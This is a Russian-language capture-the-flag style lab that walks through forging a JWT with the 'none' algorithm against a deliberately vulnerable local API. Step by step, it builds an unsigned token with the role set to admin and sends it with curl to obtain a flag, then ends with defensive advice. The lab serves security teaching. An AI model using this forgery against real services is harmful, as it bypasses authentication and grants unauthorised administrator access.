Введение
JSON Web Tokens (JWT) — это открытый стандарт, используемый для передачи информации о безопасности между двумя сторонами: клиентом и сервером. Каждый JWT содержит закодированные JSON-объекты, включая набор утверждений (claims). JWT подписываются с использованием криптографического алгоритма, чтобы гарантировать, что утверждения не были изменены после выпуска токена.
Один из важнейших уроков для начинающих заключается в том, что содержимое JWT обычно закодировано, а не зашифровано. Любой, у кого есть токен, часто может прочитать содержащиеся в нем данные. Безопасность обеспечивается проверкой подписи, а не секретностью содержимого.
Однако неправильная реализация библиотек JWT может привести к серьезным уязвимостям. Одной из самых известных является атака с использованием алгоритма "None". Если сервер поддерживает алгоритм none, злоумышленник может изменить полезную нагрузку токена (например, сменив роль пользователя на 'admin'), установить алгоритм в значение none и удалить подпись. После этого сервер примет поддельный токен как действительный.
В этой лабораторной работе вы будете взаимодействовать с уязвимым локальным API. Вы научитесь извлекать JWT, декодировать его структуру Base64Url, изменять полезную нагрузку для повышения своих привилегий и эксплуатировать уязвимость алгоритма 'none' для получения несанкционированного доступа администратора.
Перехват и извлечение JWT
На этом этапе вы будете взаимодействовать с локальным API-сервером, запущенным на вашей машине. У сервера есть эндпоинт для входа, который выдает JSON Web Token (JWT) для обычного пользователя. Ваша первая задача — запросить этот токен и сохранить его для дальнейшего анализа.
JWT обычно передается в заголовке HTTP Authorization как токен Bearer, но изначально он предоставляется клиенту после успешной аутентификации. Мы будем использовать инструмент командной строки curl для имитации запроса на вход.
Выполните следующую команду в терминале, чтобы обратиться к эндпоинту входа:
curl -s http://127.0.0.1:5000/api/login
Вы должны увидеть JSON-ответ, содержащий длинную строку символов, разделенных двумя точками (.). Эта строка и есть JWT.
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}
Чтобы упростить работу с этим токеном на следующих этапах, давайте извлечем только строку токена и сохраним ее в файл token.txt. Мы можем использовать grep с регулярным выражением для парсинга вывода JSON.
Выполните следующую команду, чтобы сохранить токен:
curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt
Вы можете убедиться, что токен был сохранен правильно, отобразив содержимое файла:
cat token.txt
Держите этот токен под рукой, так как на следующем этапе мы разберем его структуру.
Декодирование структуры JWT
На этом этапе вы разберете JWT на основные компоненты и декодируете их, чтобы понять, какую информацию они несут.
Стандартный JWT состоит из трех частей, разделенных точками (.). Первая часть — это заголовок (Header), содержащий метаданные о токене, такие как используемый алгоритм подписи (например, HS256). Вторая часть — это полезная нагрузка (Payload), содержащая фактические данные или утверждения, такие как имя пользователя, роль и время истечения срока действия. Последняя часть — это подпись (Signature), которая используется для проверки того, что отправитель JWT является тем, за кого себя выдает, и для гарантии того, что сообщение не было изменено в процессе передачи.
Это разделение важно, так как многие атаки на JWT нацелены на путаницу в том, какую часть можно безопасно изменить, а какая должна быть криптографически защищена.
Заголовок и полезная нагрузка закодированы с использованием кодировки Base64Url. Это означает, что они не зашифрованы; любой, кто перехватит токен, может легко декодировать и прочитать содержимое.
Именно поэтому важные решения об авторизации никогда не должны основываться на скрытости данных. Они должны опираться на корректную проверку подписи.
Сначала давайте разделим токен на компоненты заголовка и полезной нагрузки и сохраним их в отдельные файлы. Мы будем использовать команду cut для разделения строки по разделителю .. В JWT символ точки разделяет три секции, поэтому cut — это быстрый способ разобрать токен без использования специальных инструментов для JWT.
## Извлечь первую часть (Header)
cat token.txt | cut -d '.' -f 1 > header.b64
## Извлечь вторую часть (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64
Теперь давайте декодируем заголовок. Поскольку кодировка Base64Url иногда отбрасывает символы дополнения (=) в конце, стандартные инструменты декодирования Base64 могут выдавать ошибку. Для нашего конкретного заголовка длина выровнена идеально, поэтому мы можем декодировать его напрямую с помощью команды base64 -d:
cat header.b64 | base64 -d
Вы должны увидеть вывод, похожий на этот, указывающий на то, что токен использует алгоритм HS256:
{"alg":"HS256","typ":"JWT"}
Далее давайте декодируем полезную нагрузку. Строка полезной нагрузки может потребовать дополнения для успешного декодирования стандартной утилитой base64. Мы можем добавить ==, чтобы обеспечить корректное декодирование:
echo "$(cat payload.b64)==" | base64 -d
Вывод покажет утверждения внутри токена:
{"username":"guest","role":"user"}
Обратите внимание, что ваша текущая роль установлена как user. Если вы попытаетесь получить доступ к эндпоинту /api/admin с этим токеном, вам будет отказано в доступе. Вы можете проверить это, выполнив:
curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin
Сервер ответит ошибкой отказа в доступе. На следующих этапах мы изменим эти декодированные части, чтобы обойти данное ограничение.
Эксплуатация алгоритма 'None'
На этом этапе вы подготовите первую часть нашей атаки, изменив заголовок JWT для использования уязвимости алгоритма none.
Когда сервер проверяет JWT, он смотрит на поле alg (алгоритм) в заголовке, чтобы узнать, какой криптографический алгоритм использовался для создания подписи. Некоторые плохо настроенные библиотеки JWT поддерживают алгоритм под названием none. Если злоумышленник изменит поле alg на none, сервер может полностью пропустить процесс проверки подписи. Это позволяет злоумышленнику изменять полезную нагрузку без необходимости иметь секретный ключ сервера для генерации действительной подписи.
Давайте создадим новый JSON-заголовок, который указывает алгоритм none.
echo -n '{"alg":"none","typ":"JWT"}' > new_header.json
Теперь нам нужно закодировать эту новую JSON-строку обратно в формат Base64Url. Base64Url немного отличается от стандартного Base64: он удаляет завершающие символы дополнения =, заменяет + на - и заменяет / на _.
Мы можем выполнить это кодирование, используя комбинацию стандартных команд Linux: base64 для начального кодирования и tr для замены и удаления специфических символов.
Выполните следующую команду, чтобы закодировать новый заголовок:
cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64
Давайте проверим содержимое нашего нового закодированного заголовка:
cat new_header.b64
Вы должны увидеть следующую строку Base64Url:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
Эта строка представляет наш вредоносный заголовок. Используя его, мы даем указание уязвимому API-серверу не проверять подпись нашего токена.
Изменение утверждений полезной нагрузки (Роль Admin)
На этом заключительном этапе вы измените полезную нагрузку JWT для повышения своих привилегий, соберете поддельный токен и используете его для доступа к ограниченному эндпоинту администратора.
Ранее мы обнаружили, что наша полезная нагрузка содержит "role":"user". Мы хотим изменить это на "role":"admin".
Сначала создайте новый JSON-файл, содержащий измененную полезную нагрузку:
echo -n '{"username":"guest","role":"admin"}' > new_payload.json
Затем, как и в случае с заголовком, нам нужно закодировать эту новую полезную нагрузку в формат Base64Url. Мы будем использовать ту же комбинацию команд base64 и tr:
cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64
Вы можете просмотреть закодированную полезную нагрузку, выполнив:
cat new_payload.b64
Теперь у нас есть вредоносный заголовок (new_header.b64) и полезная нагрузка с повышенными правами (new_payload.b64). Последний шаг — собрать итоговый JWT.
Помните, что формат JWT — это Header.Payload.Signature. Поскольку мы используем алгоритм none, подписи нет. Однако сервер все равно ожидает, что токен будет состоять из трех частей, разделенных точками. Поэтому наш поддельный токен будет выглядеть как Header.Payload.. Завершающая точка важна, так как она сохраняет ожидаемую трехчастную структуру токена, даже если часть с подписью пуста.
Давайте соберем поддельный токен и сохраним его в файл:
FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt
Убедитесь, что токен выглядит правильно:
cat forged_token.txt
Наконец, пришло время протестировать наш эксплойт. Мы отправим запрос к ограниченному эндпоинту /api/admin, передав наш поддельный токен в заголовке Authorization.
curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin
Если эксплойт прошел успешно, сервер примет алгоритм none, пропустит проверку подписи, прочитает вашу роль как admin и предоставит доступ. Вы должны увидеть сообщение об успехе, содержащее секретный флаг!
{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}
Резюме
Поздравляем! Вы успешно завершили лабораторную работу по основам манипуляции JWT.
В этой работе вы научились:
- Перехватывать и извлекать JSON Web Tokens из ответов API.
- Разбирать структуру JWT и декодировать заголовок и полезную нагрузку в формате Base64Url.
- Понимать серьезные последствия для безопасности, связанные с уязвимостью алгоритма 'none'.
- Вручную создавать вредоносный JWT, изменяя утверждения полезной нагрузки и обходя проверку подписи для повышения привилегий.
Эти навыки являются фундаментальными для понимания безопасности API и выявления недостатков аутентификации во время тестирования на проникновение или аудита безопасности. В этой лабораторной работе вы злоупотребили слабым режимом проверки, установив алгоритм в значение none. В других сценариях злоумышленники могут достичь аналогичного результата, если каким-то образом узнают настоящий секрет подписи и сгенерируют свой собственный действительный токен. Всегда следите за тем, чтобы ваши приложения обеспечивали строгую проверку алгоритмов, тщательно защищали секреты подписи и никогда не принимали алгоритм none в производственных средах.



